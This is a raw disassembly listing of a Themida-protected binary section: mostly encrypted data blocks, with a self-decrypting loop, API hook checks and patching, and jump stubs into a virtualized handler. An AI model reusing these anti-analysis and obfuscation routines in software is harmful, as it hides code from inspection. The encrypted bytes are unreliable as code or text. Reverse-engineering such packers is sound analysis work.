dd 443213E1h, 22BC1A66h, 0D2321566h, 88321B8Fh, 0D5FDE066h
dd 0C6A58991h, 0CF03DE2Dh, 0EEF5CCB5h, 0CF542399h, 0E6B33162h
dd 11321564h, 3F3D7506h, 978D1A96h, 6FD09407h, 700F0254h
dd 0C3DD65Ah, 443214D1h, 22339469h, 40C71566h, 63BAD0EEh
dd 0C51619EDh, 223211A2h, 0A360E066h, 3E13596h, 80B13172h
dd 2220FC62h, 0F591566h, 21DD9CDEh, 0C5F0874Eh, 5BB7F950h
dd 342B9F72h, 8742EEE6h, 44362DE2h, 25B81A66h, 71321566h
dd 373DF9ECh, 0AD0E74BDh, 23539169h, 16DB1566h, 49321566h
dd 26BCB458h, 0A33D752Ch, 1132157Eh, 8832068Fh, 0DDAAAF66h
dd 6E2C42D3h, 9F4DF009h, 0F148B376h, 0B0437B5h, 0A63DFE5Ah
dd 11321449h, 0D765EC06h, 4BF02907h, 223337E2h, 1126FC66h
dd 0D5511566h, 5C011B1h, 3F06283Bh, 717F55FFh, 64EA1A8Ah
dd 8F0E7BC1h, 23339169h, 9F3D1566h, 88321579h, 442B9F69h
dd 36DB1566h, 15321566h, 8C4D2E3Ch, 0B3497FBCh, 8EC200B0h
dd 0BC04A72h, 0EE802CA4h, 4B17EA5Bh, 2232C7E2h, 19B81A66h
dd 0E8321566h, 4BFDA269h, 1E53D3D9h, 0ADB61AACh, 87321566h
dd 443214E2h, 0C10EE066h, 125D9169h, 0EEC71566h, 4BCD3B5Bh
dd 223228E3h, 7960ED66h, 88321564h, 0CEC0143Ch, 9C524F64h
dd 6FE57Fh, 78834407h, 48B9DD46h, 26F69642h, 1E92299Fh
dd 88326FE2h, 4422FC66h, 0C4361566h, 707B886Bh, 0D80B85D8h
dd 9BF96C24h, 9D654997h, 4D673CA6h, 77D59429h, 0C560E27Bh
dd 773BAA91h, 3DB34236h, 9F45AB42h, 0FA374D7Eh, 7D2A0211h
dd 112F9569h, 73D1566h, 44321571h, 2232078Fh, 8C443D66h
dd 551153C2h, 5DCBF40Eh, 8287AD0Ch, 0F88B3389h, 883215FAh
dd 44279A69h, 32DB1566h, 0D4321566h, 0D4ECE591h, 3A66A143h
dd 5B3A17D0h, 98CAD8D7h, 9B2810D3h, 0D9BFEC60h, 242B82A4h
dd 11229D69h, 13D1566h, 4432156Ch, 2232108Fh, 0EA651D66h
dd 5BCD9876h, 442D9F69h, 0A43D1566h, 1132157Fh, 8832018Fh
dd 0F9D51766h, 6B1107FEh, 7980F859h, 689F9CAh, 10917472h
dd 2234FCB9h, 986D1566h, 10BF7512h, 4436F9E7h, 3EBB1566h
dd 17B77D42h, 0C3696C71h, 0BD4FD6E7h, 0FABB938Eh, 17DB753Dh
dd 36321566h, 48EE7816h, 68F09444h, 700347CDh, 8835FCA5h
dd 278B1566h, 0DD3500F1h, 3C977D67h, 8CBB1566h, 48B21A42h
dd 42321566h, 89EC47D9h, 46B37377h, 1653970Ah, 223205DCh
dd 40D89466h, 8917383Bh, 15F09494h, 0A917383Bh, 14DB4F64h
dd 29321566h, 592527DEh, 3F8390EFh, 0EECB1375h, 96A3152h
dd 443211A2h, 2226FC66h, 0E821566h, 0DF7B7EA0h, 50E5F8E4h
dd 3F6CA47Eh, 0E9393FEDh, 3260E421h, 4432157Ah, 7745D3E7h
dd 0C73374EAh, 0DD45FBE7h, 0BD6874EAh, 3B67A8EBh, 1FDB1375h
dd 9C321566h, 581F7E3Ch, 0E90DE21Ch, 0E3312C93h, 8DC7B850h
dd 0D4276E1h, 69548563h, 35761675h, 0EEA23842h, 0C31F062Dh
dd 2D7B6505h, 11321FE6h, 8837FC66h, 29091566h, 89C7FA63h
dd 508F989Eh, 61340654h, 44321577h, 9C69AACFh, 0DBCFE38Ch
dd 0B5EFC369h, 0A7FB39D2h, 9952B8F3h, 11FF8897h, 8832058Eh
dd 40A43966h, 0F10DDA65h, 3C42EBCEh, 51B799A5h, 4421FC17h
dd 832B1566h, 0E9DCBF31h, 0F8055E36h, 9EF5380Ah, 110313ADh
dd 14534B5Eh, 0C51661D0h, 60165165h, 0DDCAB30h, 0F7F34A47h
dd 7FECE26Eh, 0A7F494B0h, 0E32EC93Bh, 0FFB31788h, 4A6C8B24h
dd 0AD6CE54Fh, 22321576h, 0E54D7EFAh, 0BCBB0A7Fh, 5E233F2Fh
dd 0A0E58EC9h, 90D49C30h, 883211A0h, 40DC9466h, 0A5321566h
dd 986E3152h, 98DB3162h, 6B321566h, 5D022423h, 94E5F145h
dd 95489754h, 4B086E29h, 223203ECh, 9A547566h, 8839FDACh
dd 572A1566h, 56A78E83h, 77B99C4Ah, 23534D72h, 44399169h
dd 44521566h, 770E38D8h, 40D5D3E7h, 958F9807h, 2D340662h
dd 113214EBh, 709FE966h, 7AA31h, 0DA3314A7h, 35761639h
dd 0CC07384Eh, 0EFCE14A7h, 90C39F06h, 25B9744Bh, 6ABB4742h
dd 4436D7E7h, 0E0B11566h, 35269262h, 8826FC3Ah, 0BB881566h
dd 8D90587Ch, 0CA349095h, 0F93DEEA2h, 38930944h, 2DDB0D63h
dd 0B7321566h, 0C5F81E0Ah, 0EFB9C9B4h, 6A4C9BE3h, 71F1E3FAh
dd 88309C69h, 1E651566h, 2232188Eh, 5B2D9166h, 3FACE77Dh
dd 1C6AD1FCh, 638C1DEAh, 497CD314h, 6BBB4607h, 4436D6E7h
dd 0C9B11566h, 352E9262h, 0AC069C3Ah, 4432198Fh, 0E7A61D66h
dd 0B614C09Ch, 81B5E41Eh, 46AF9814h, 0CB340CF1h, 1132156Dh
dd 0AA024B7Ch, 0E75D2F43h, 0DD10E0ACh, 0D7B375B5h, 0E775AD32h
dd 0B8A2FC07h, 2ADBEA99h, 8A321566h, 0D7B8BF3Dh, 0DFA0460Eh
dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0F8D9C0D5h, 0ED96A45Fh
dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh
dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
dd 0A851D6ACh, 8660D554h, 2559D7BAh, 907B2BCEh, 32DCF143h
dd 8C0F448Ch, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
dd 0C64038C8h, 7462C4Eh, 0B23F7ADFh, 3C6D552h, 92B85E00h
dd 75152A54h, 0DDAEAE30h, 978FA75Ch, 0FB57B82Bh, 0E4CDB0D9h
dd 7BAEA45Fh, 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h
dd 8C0F447Dh, 70CB2F16h, 7513303Ah, 54142B96h, 8A152ABDh
dd 0EDDAC345h, 82D7E3A8h, 3044BA45h, 2AE90000h, 0C7000000h
dd 2404h, 0E80000h, 5D000000h, 73A8ED81h, 448B061Ah, 85890424h
dd 61304C5h, 0B8h, 8D8D8D00h, 0FF06134Fh, 6754B8E1h, 0CEB0000h
dd 4324FFE0h, 38BC570Ah, 80DE1881h, 585E9h, 579E900h, 12A00000h
dd 0F2446644h, 85C7E5Ch, 0ED3E6442h, 0D05D4363h, 38F72684h
dd 0F0CE86D3h, 0FAD87ACAh, 0E5C583D8h, 0FCDA72C3h, 217DF0EFh
dd 0EA16B828h, 6CBD8BB7h, 0DA6D51E0h, 6DFBDF6Eh, 0E37254E5h
dd 4FDEE071h, 0C1123405h, 2207308Fh, 0F357E94Eh, 4BAA7BCCh
dd 4CE0E281h, 0DB6B6FFEh, 8D6B5473h, 0F1F277A5h, 0E485C919h
dd 694E8DDCh, 0C91BC5F8h, 8C901A81h, 233E7A42h, 44634463h
dd 9E74B511h, 0B5C7E10h, 6D9C2445h, 168887B8h
dd 280FACF1h, 0E77F479Dh, 5615DF98h, 4C6AE074h, 0E978D266h
dd 8A2F5598h, 13A8EA4Fh, 65EF3E64h, 83E7795Bh, 0A4F305E9h
dd 9CE4CB8Bh, 0BAB13247h, 45EA23BBh, 2D6B3D48h, 0C308EF6Ch
dd 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h, 0E0B13256h
dd 9470D8D7h, 21BE344Fh, 57B13253h, 0E9836036h, 0B0A4F305h
dd 0F29D11F1h, 2375FD7Ah, 0C77417FBh, 0D525FB60h, 0ADFDF53Fh
dd 916F8496h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
dd 9E987C27h, 0A073E701h, 830C8EFFh, 0A4F305E9h, 0BD8DDB8Bh
dd 61A94D9h, 1A298D8Dh, 44B8061Bh, 2B321566h, 2E9C1CFh
dd 0C8D00731h, 4904C783h, 0DE9F675h, 81000000h, 492EE38Ch
dd 982B1E5Ch, 24BB1240h, 1840Fh, 53FC0000h, 0D889C389h
dd 81241C8Bh, 4C4h, 890F6000h, 16h, 11E9h, 18521F00h, 5D5FE58Fh
dd 403FC6FBh, 0CCC67673h, 0F861F741h, 1625BD83h, 75000613h
dd 81BD8309h, 6132Ch, 53501974h, 11B8C08Bh, 89000004h
dd 13311585h, 0E49D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh
dd 17740006h, 11B85350h, 89000004h, 13311585h, 859D8D06h
dd 0FF0615A6h, 0E9585BD3h, 0Ch, 59E61893h, 77283422h, 6012EF0Ch
dd 0CE9F5h, 0C6510000h, 0D5ED48A5h, 0A1573E7Fh, 8956B1E5h
dd 0F78957C6h, 5E5FF889h, 6E9h, 9CD06A00h, 0F8BD1CFEh
dd 1E238D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 7AB4E3C3h, 0A312185Fh, 14B4FC7Fh
dd 1BBD8D89h, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 85FB8AC3h, 8305895Eh, 9B52960h
dd 8906130Fh, 1318B985h, 85C76106h, 61318DDh, 62C4h, 0A2D8D89h
dd 85C70613h, 6133055h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5FE0AF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FE0AF proc near ; CODE XREF: Themida_:005FE0A7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5FE0AF endp
; ---------------------------------------------------------------------------
push 0FFFFFFE6h
pop ebx
aaa
and byte ptr [edx], 0D5h
pop esi
sbb ecx, edx
mov edi, [ebp+6132C4Dh]
push dword ptr [ebp+6132101h]
sub ax, 0D56Dh
call dword ptr [ebp+6131D89h]
add ebx, [ebp+613113Dh]
push 0
call dword ptr [ebp+6130DA9h]
mov eax, eax
jmp short loc_5FE12A
; ---------------------------------------------------------------------------
dw 0A24Ch
dd 0E13B14F8h, 0AC177BCAh, 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah
dd 0F072E251h, 0C9EB4883h, 0EFCFB3A0h, 99D50F1Fh, 61953608h
dd 0A3CC68D2h, 604404D1h, 2AE0F27Dh
db 72h, 48h
; ---------------------------------------------------------------------------
loc_5FE12A: ; CODE XREF: Themida_:005FE0F0j
call near ptr sub_5FE13E
adc al, 0Dh
push ebx
mov eax, ds:0BC6E8409h
xor [eax+56D8895Bh], dl
xchg eax, ecx
; =============== S U B R O U T I N E =======================================
sub_5FE13E proc far ; CODE XREF: Themida_:loc_5FE12Ap
; FUNCTION CHUNK AT 0058442C SIZE 00000047 BYTES
mov edi, [ebp+61312B1h]
pop edx
jmp loc_5FE159
; ---------------------------------------------------------------------------
dw 0B60Fh
dd 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h
; ---------------------------------------------------------------------------
aaa
loc_5FE159: ; CODE XREF: sub_5FE13E+7j
add edx, 6024h
cmc
sub eax, eax
or cx, 5F6Bh
loc_5FE167: ; CODE XREF: sub_5FE13E+89j
mov esi, [edx+eax]
jno loc_5FE176
mov [ebp+6131DADh], esi
loc_5FE176: ; CODE XREF: sub_5FE13E+2Cj
sub esi, 626F7794h
jmp loc_5FE194
; ---------------------------------------------------------------------------
db 0CDh, 0BFh, 1Fh
dd 5BB1BF1Fh, 0A7C4B7F8h, 6440BA36h, 63065D60h
; ---------------------------------------------------------------------------
loc_5FE194: ; CODE XREF: sub_5FE13E+3Ej
sub esi, 180286F3h
adc ecx, 2DC00B2Fh
sub esi, 210A6A58h
sub ecx, [ebp+6132301h]
mov [edx+eax], esi
mov cx, si
mov [ebp+6131FF5h], ecx
sub eax, 4
mov [ebp+6130705h], edi
cmp eax, 0FFFFA07Ch
jnz loc_5FE167
xor [ebp+6131045h], esi
jmp loc_5FE2C5
; ---------------------------------------------------------------------------
pusha
mov ax, ds
test al, 4
jz loc_5FE2C3
mov esi, [ebp+6132EB5h]
cmp esi, 0
jnz loc_5FE215
mov byte ptr [ebp+61311E1h], 45h
push 8E726969h
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6167C33h]
call eax
mov [ebp+6131CBDh], eax
mov esi, eax
loc_5FE215: ; CODE XREF: sub_5FE13E+AFj
cmp byte ptr [esi], 0E9h
jnz loc_5FE24F
lea eax, [ebp+61887E0h]
call eax
mov edi, [ebp+61329C5h]
add edi, 1184h
mov esi, [ebp+6132EB5h]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+6132EB5h]
lea eax, [ebp+616BD3Ah]
call eax
loc_5FE24F: ; CODE XREF: sub_5FE13E+DAj
mov esi, [ebp+61313F1h]
cmp esi, 0
jnz loc_5FE280
mov byte ptr [ebp+61311E1h], 54h
push 0FF4EBEF4h
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6167C33h]
call eax
mov [ebp+61313F1h], eax
mov esi, eax
loc_5FE280: ; CODE XREF: sub_5FE13E+11Aj
cmp byte ptr [esi], 0E9h
jnz loc_5FE2C3
mov esi, [ebp+61313F1h]
lea eax, [ebp+61887E0h]
call eax
mov edi, [ebp+61329C5h]
add edi, 1184h
add edi, 8
mov esi, [ebp+61313F1h]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+61313F1h]
lea eax, [ebp+616BD3Ah]
call eax
loc_5FE2C3: ; CODE XREF: sub_5FE13E+A0j
; sub_5FE13E+145j
popa
retn
; ---------------------------------------------------------------------------
loc_5FE2C5: ; CODE XREF: sub_5FE13E+95j
lea eax, [ebp+61B1F0Eh]
mov [ebp+6130B31h], eax
jmp loc_5FE2E1
; ---------------------------------------------------------------------------
dw 0A551h
dd 601Fh, 0
db 0
; ---------------------------------------------------------------------------
loc_5FE2E1: ; CODE XREF: sub_5FE13E+193j
jmp loc_5FE79A
; ---------------------------------------------------------------------------
push 61B213Ch
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B21ADh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B22EDh
jmp loc_58442C
; ---------------------------------------------------------------------------
imul dword ptr [ebx-15h]
retf
; ---------------------------------------------------------------------------
dd 0D9F955E5h, 0C5E565F7h, 0DEFC54E3h, 0C7E76DFCh, 0A3325BD4h
dd 0A12F11B1h, 9C2F11B1h, 992C0EACh, 94613B3h, 0B8D57AD4h
dd 0F1CE4316h, 87D67AC9h, 0BD24BE06h, 7155E470h, 3783A6E0h
dd 0A025C91h, 4ACB109Eh, 2668A865h, 42276747h, 9BF66744h
dd 64168EC9h, 4CC1C95Eh, 0A8AC7D2h, 7A1B7A9Bh, 0C83C9AEBh
dd 0F7930A8Ah, 0F99A5A82h, 567C5AACh, 1B824A04h, 2D2h
dd 0BDE5C23Fh, 3455E470h, 9DB4C945h, 40B59210h, 109DB4C6h
dd 656F0E8Fh, 2148696Fh, 0D4644665h, 26AEEF7Eh, 0A625C439h
dd 0D736168Eh, 99CCEB34h, 0A8AA33Dh, 3A94C906h, 30A8AA3h
dd 0AAD9E382h, 0E7E5C1A3h, 3D348CD5h, 93BD723h, 70E5C2A3h
dd 1315FA7Dh, 4A005476h, 6AFB9AFBh, 5473134Eh, 2D14C21h
dd 6340C50Dh, 0C1CE5E44h, 3781E074h, 2A88C415h, 7FD4B508h
dd 1AB5A8C9h, 237684BFh, 2E04984h, 6DF90000h, 57E7C9E9h
dd 5FF1D7F7h, 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch
dd 1FBF9321h, 4A2A639h, 0E1C18B1Eh, 0C86F7D8h, 0D516B8D6h
dd 0BEA3A2BCh, 2C7AEBC8h, 0DD168695h, 89E864F5h, 95B3082Ah
dd 9D2C0E4Bh, 0A43117B7h, 2884DCEAh, 39582472h, 0B5072B28h
dd 6145C495h, 13727ACEh, 0E94733B0h, 7AEF5DF0h, 80089EA3h
dd 6F3411D8h, 6A000002h, 765C7ADCh, 664C6AE4h, 785A78D2h
dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h
dd 2824B59Bh, 6F9EC18Ah, 16B8D5F3h, 0C2F965BCh, 0B8004EE0h
dd 8221657Ch, 86950353h, 51B416h, 82951171h, 54004D0Ah
dd 0DD71C105h, 6F0C868Ch, 36D33F86h, 0A5064616h, 17CEE5Ah
dd 0EED10000h, 0A3D278CCh, 0A829D27h, 9CB12D60h, 1B7A0A82h
dd 55FFC94Ch, 0C3E06CBDh, 0B7D74DDCh, 0A32D62A5h, 9DAF0244h
dd 9EE8013Dh, 0AB3C1E41h, 6B7594A5h, 8F0CE11Ch, 1A2B6A16h
dd 8B096BEBh, 0B295C20Ah, 8B08C743h, 0C30D900Ah, 0CC8CB049h
dd 745AACB2h, 38h, 0C8BEA3CAh, 989B7AEBh, 296C168Eh, 0C8173B18h
dd 41C14088h, 980A8A89h, 756B94BBh, 4FF493A5h, 4E6E0B85h
dd 5AADC28Eh, 0C41E4F70h, 8D0A89D8h, 9B59C008h, 0FD000000h
dd 51E06CBDh, 4FFD5072h, 8B065385h, 4E00523Dh, 46714E2Fh
dd 0AA20C7FCh, 49982009h, 0C998B405h, 0BA183485h, 9E37A94Bh
dd 0B4982910h, 0B7CF1A16h, 0AD9F3218h, 66737D9Ch, 889481F7h
dd 0C01F7E16h, 0A9094B9Ah, 671A3A87h, 800E91A0h, 2F2F2AC1h
dd 0AA000001h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h
dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h, 68E4755Bh
dd 2F5E814Ah, 16B8D6B3h, 0C239257Ch, 0B90351E0h, 0AC0A4A97h
dd 98B7A48Bh, 0F8DBB51h, 0A4293C5h, 6CBD0EACh, 0DC6D51E0h
dd 0B565270h, 0E3765C7Bh, 2FB9D869h, 0FBDEB322h, 2807168Eh
dd 8A6659B5h, 0D9E3220Ah, 88AA098Ch, 0CB4A1B39h, 5FEED401h
dd 9AAB9D32h, 49BC1A7Bh, 0A8A65C9h, 3A98B405h, 0BA8BC918h
dd 0A19Fh, 459AC000h, 0D061EF40h, 81D0B1h, 0BEA31EB8h
dd 287AEBC8h, 0E1168695h, 1F401FBCh, 829574EEh, 0A9D83D0Ah
dd 0A82952Dh, 9E4D97F6h, 0CE6029BCh, 0DFC1E180h, 706FFE4Eh
dd 94C41E4Fh, 428D0A82h, 4A6629AAh, 0EBF59464h, 7D5E8E9Ch
dd 0C237BB70h, 9C002A15h, 0B665E114h, 0EF2EA47Ch, 934C89C8h
dd 7CF8E862h, 0D6CB1A4h, 0C4091C3h, 1AA991AEh, 0DEE62736h
dd 52E369FCh, 5271DF70h, 0F8860075h, 0CE4FA47Ch, 0FF716706h
dd 0C785D88Ah, 17E1C6E7h, 0D60305E5h, 72C315DFh, 34E8BDAh
dd 0F4000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h
dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh
dd 51221524h, 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h
dd 5786824h, 1C890000h, 0E1895124h, 4C181h, 0E9810000h
dd 4, 5C240C87h, 83243489h, 48904ECh, 203AB824h, 0C389061Bh
dd 4EC8158h, 89000000h, 4832424h, 835E0424h, 1C8904ECh
dd 24348124h, 1B5E2678h, 8108468Fh, 26780876h, 34FF1B5Eh
dd 0C4815E24h, 4, 5B2434FFh, 4C481h, 0A1E90000h, 21FFF85Ch
dd 8D3B80E6h, 4FA99C51h, 3053C6D7h
db 1, 4Ah
; ---------------------------------------------------------------------------
loc_5FE79A: ; CODE XREF: sub_5FE13E:loc_5FE2E1j
mov eax, 61B2441h
add eax, ebp
jmp eax
sub_5FE13E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F2h
dd 7036D392h, 0D143C3BFh, 3B59A758h, 8C6B6D37h, 0BD04B286h
dd 0FF5250E0h, 2748EEAFh, 1A4C27F1h, 0E50A1654h, 0E85A5EA2h
dd 0Dh, 8473AE0Ch, 5484D38h, 2BE6FA5Ch, 0CE980h, 151A0000h
dd 759850Ch, 16F884B3h, 0F5AF38Ah, 28Fh, 8177B300h, 6FF4C2h
dd 4934B900h, 0D0BF0D58h, 6600001Bh, 32FFF28Bh, 0E95862B7h
dd 0Bh, 0D4688AFDh, 9E8EE5DCh, 81C749FBh, 0F4C333C0h, 10E825h
dd 61D40000h, 181D6DE3h, 32EA9240h, 6A285161h, 0AE99961h
dd 28000000h, 0AC05D86Eh, 0C4B4955Bh, 0E8815BC2h, 2D9336C4h
dd 0E881CB8Ah, 1A361613h, 925CCB81h, 66505B08h, 8F7C1ABBh
dd 0DB816602h, 0EA81CBD5h, 95550F5h, 0F1C281F9h, 0F095550h
dd 0F4FC9BFh, 0FFFF8985h, 1810FFFh, 0F9000000h, 265E8D8Dh
dd 8B66061Bh, 6830FD8h, 8B000000h, 13055185h, 0BD8D8906h
dd 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 742C356h, 0C7167792h, 1318DD85h
dd 619806h, 79858900h, 0C7061305h, 13305585h, 6, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0C21CD538h, 66AA389Bh, 0FF622BB8h, 1313D1B5h, 31953306h
dd 8B061317h, 130C159Dh, 8995FF06h, 2306131Dh, 13003DB5h
dd 0FF006A06h, 130DA995h, 0EBC08B06h, 2FCFF33Ah, 3008C349h
dd 88B654ACh, 0CDB06DFCh, 0AA270F81h, 0A0417F9Eh, 0B28392BBh
dd 0D7D639AEh, 6F989057h, 93721791h, 0F904B455h, 20899326h
dd 99E28E21h, 832E3D3Fh, 0E9E8292Eh, 40h, 1DF3958Fh, 416C7452h
dd 636F6C6Ch, 48657461h, 706165h, 140000h, 0Ah dup(0)
; ---------------------------------------------------------------------------
jmp loc_5FFB1C
; ---------------------------------------------------------------------------
push 61B295Dh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B2A50h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B2CE9h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B2E26h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B315Fh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B3223h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B3262h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B333Fh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B33D8h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B342Dh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B35EEh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61B36C7h
jmp loc_58442C
; ---------------------------------------------------------------------------
db 1Ch, 0CEh, 88h
dd 98B6082Ah, 86C4183Ah, 9FB10228h, 88CC193Fh, 0D734FB2Ah
dd 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h, 0F300DE6Eh, 0DC1D79ECh
dd 0B3E616B8h, 0C5C5230Ch, 0EEB8F43Fh, 6CBD7CE6h, 0C3E4C3E0h
dd 9DB53892h, 0ED9C0110h, 109DB571h, 6EE81D3Ah, 37109DB5h
dd 0C313B7D6h, 915BBA8Bh, 0EF5DF0D2h, 859815Eh, 7F1E3281h
dd 78D06375h, 79F3E9h, 0F51B7057h, 0EA40DCEDh, 11DB79C8h
dd 0CD1B6EBFh, 3455B485h, 0C945B897h, 92109DC0h, 4A6B6973h
dd 23B2D368h, 80015031h, 72C38D1Eh, 3A87C913h, 4396BC1Ah
dd 371B3809h, 7A9BAAAAh, 7FCD6072h, 0D5C7E5Fh, 28417D47h
dd 2F5E815Eh, 109DC0B3h, 82CF197Ch, 1E2A7DA5h, 8706CE4Fh
dd 168EAF2Ah, 720352B3h, 0A8AAB14h, 0FE4FFD50h, 73C288DCh
dd 0EC96335Dh, 4E97F65Ch, 572547C4h, 0FF5AAD10h, 3Fh, 0C8BEA363h
dd 0E7E9C4EBh, 0F229F023h, 9978EDEAh, 6A168F7Fh, 1A3D1A2Bh
dd 8B706FEBh, 0F1D5380Ah, 0A6E5EF63h, 0A8B7028h, 5676137Fh
dd 5AAC5186h, 0E4603F68h, 92AA34B4h, 110D34Ah, 0BD670000h
dd 6D51E06Ch, 0CB47B6E0h, 0FF109DB4h, 4FCE9FAFh, 0DFFC9D00h
dd 50E169FBh, 0CDF006Bh, 0B2D3D303h, 4697BB2Ah, 9CF66748h
dd 65109E7Eh, 7ED53120h, 7F9E109Eh, 6F9EC11Eh, 109E7EF3h
dd 0E67559BCh, 0C403626Ah, 0ED3D4ADEh, 0D0310061h, 0BEC352EBh
dd 844CBC92h, 6D4DFF52h, 9E047DFEh, 0DAACFD10h, 16A35E75h
dd 0F9D9B82Ah, 86D7FBDCh, 0D83B97C6h, 8104109Dh, 88C41537h
dd 20667BB9h, 0DD6F5283h, 0C548168Eh, 0DA70C4E6h, 9DC4C412h
dd 0C5EDCAE9h, 8CC61675h, 993D5CEDh, 0D4350448h, 33987D0Ch
dd 0F6E11075h, 7F65B39Fh, 0D4915B10h, 0A13012B1h, 9A2E14B3h
dd 109DA1B0h, 0BD9B2544h, 53064E9Bh, 79FB3BC9h, 5F726FFEh
dd 1A00000Eh, 62C8ACCh, 163C9AB4h, 82A88C2h, 173999B7h
dd 0F92C8ACAh, 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh
dd 7FEEF1FAh, 16B8DE23h, 0BD89B5ECh, 0E3C7E470h, 2B6AFB53h
dd 3C8DB3A1h, 2E4FFB4Dh, 0BEA33290h, 0B57FDB0Ah, 0C548109Dh
dd 72807A4h, 9DB57CD6h, 0D14CAD10h, 0A47326B4h, 1F6E7697h
dd 168EC63Eh, 4EBF8E0Fh, 0A8AB5D0h, 280F3827h, 0FE4EDF67h
dd 21A4BDD9h, 0B0DC6D97h, 5AAC86E0h, 0A648h, 6CBDEE00h
dd 0E06D51E0h, 5785774h, 109DB489h, 70DE7052h, 311DAD11h
dd 26C938A7h, 0A6109DB1h, 0B7993913h, 19172626h, 3119B6D0h
dd 3623ADA1h, 0E4D2E19h, 7A9F58C3h, 7B2E1372h, 8607168Eh
dd 8501E828h, 0C6C3B726h, 59BC1074h, 4B09587Ah, 59F3466Ch
dd 113F8908h, 0EEECA22Fh, 0DB8D169Ah, 9D255839h, 0BE79FAF0h
dd 0D6C322Fh, 0C10D0000h, 0C3133595h, 0B3052B8Bh, 0C2113797h
dd 0BB0A308Eh, 250A3999h, 0FBDB79C8h, 0EBCB87D5h, 0F8D672C5h
dd 0EDCD7FD2h, 108AFBE4h, 0D916B8DFh, 70BD9EC0h, 51E4C6E4h
dd 0C27DDBFBh, 7BA990DDh, 0B0D160E8h, 0B5B7250Bh, 0F198292Bh
dd 755AEB5Fh, 5C5989C3h, 82E3826Bh, 77D30225h, 40109DDBh
dd 725413DDh, 1E4D6DDFh, 109DDAC0h, 0C3E369FCh, 0A3004CDDh
dd 4A582E7Fh, 3C75CABAh, 21C00869h, 76D00522h, 0AA109E55h
dd 0EB2A391Bh, 0EE5EEFE1h, 0A3E97B5Fh, 9E54D832h, 1D7CA110h
dd 94B60A4Ch, 7B1082C5h, 55E6648Ah, 1FC77DA2h, 20FBF04Dh
dd 9DCA71EDh, 0BADB3A10h, 0BF8D2032h, 0FFF5C31Fh, 0B897A341h
dd 9DCDC945h, 1BD0FA10h, 0E646F83Ch, 6ADE7159h, 11DBBADBh
dd 988Ah, 0BEA3B000h, 0BF7AEBC8h, 48168E91h, 8F7CD607h
dd 21B00A8Ah, 54E32233h, 0E7639231h, 0B00A8A8Eh, 8BAF0C6Dh
dd 0C342133Bh, 0BB1B6AF9h, 120A8A8Eh, 1BD90378h, 0C35AAD3Ch
dd 5Dh, 0B5117097h, 2E33109Dh, 9577B58h, 75527F49h, 8C54004Dh
dd 8EA9B8FDh, 0EECC5116h, 86D77DCCh, 68473F2Ah, 7B87D4F5h
dd 1DAD9510h, 8A1E2031h, 0CA17A1C0h, 0F2456B4Bh, 0C0A90756h
dd 0F574E9C6h, 760A6861h, 5EAA2459h, 1273FE64h, 0DAF81DCAh
dd 0C884D5FDh, 85D01879h, 8FEh, 70E5C229h, 109DB516h, 0A36BEDFh
dd 0D508A7DFh, 168E85D4h, 1773E2E5h, 0E00A8A85h, 0FC8DDCBDh
dd 0A8A849Eh, 0FC2099F5h, 5AAD363Ch, 1AA4h, 0C4133700h
dd 64BE2F8Ch, 2D0A8A8Dh, 7076E0E8h, 109DB512h, 0FB8CB411h
dd 0C21AFFFFh, 0BA0250E0h, 0CC60637Eh, 4DC01F7Eh, 168EA5F4h
dd 0B0411075h, 0A8AA452h, 0C0EC5DA9h, 5AAD09F0h, 6E1FB092h
dd 0C71170DAh, 55450h, 0F03F6300h, 28B0D160h, 4BE0C2AEh
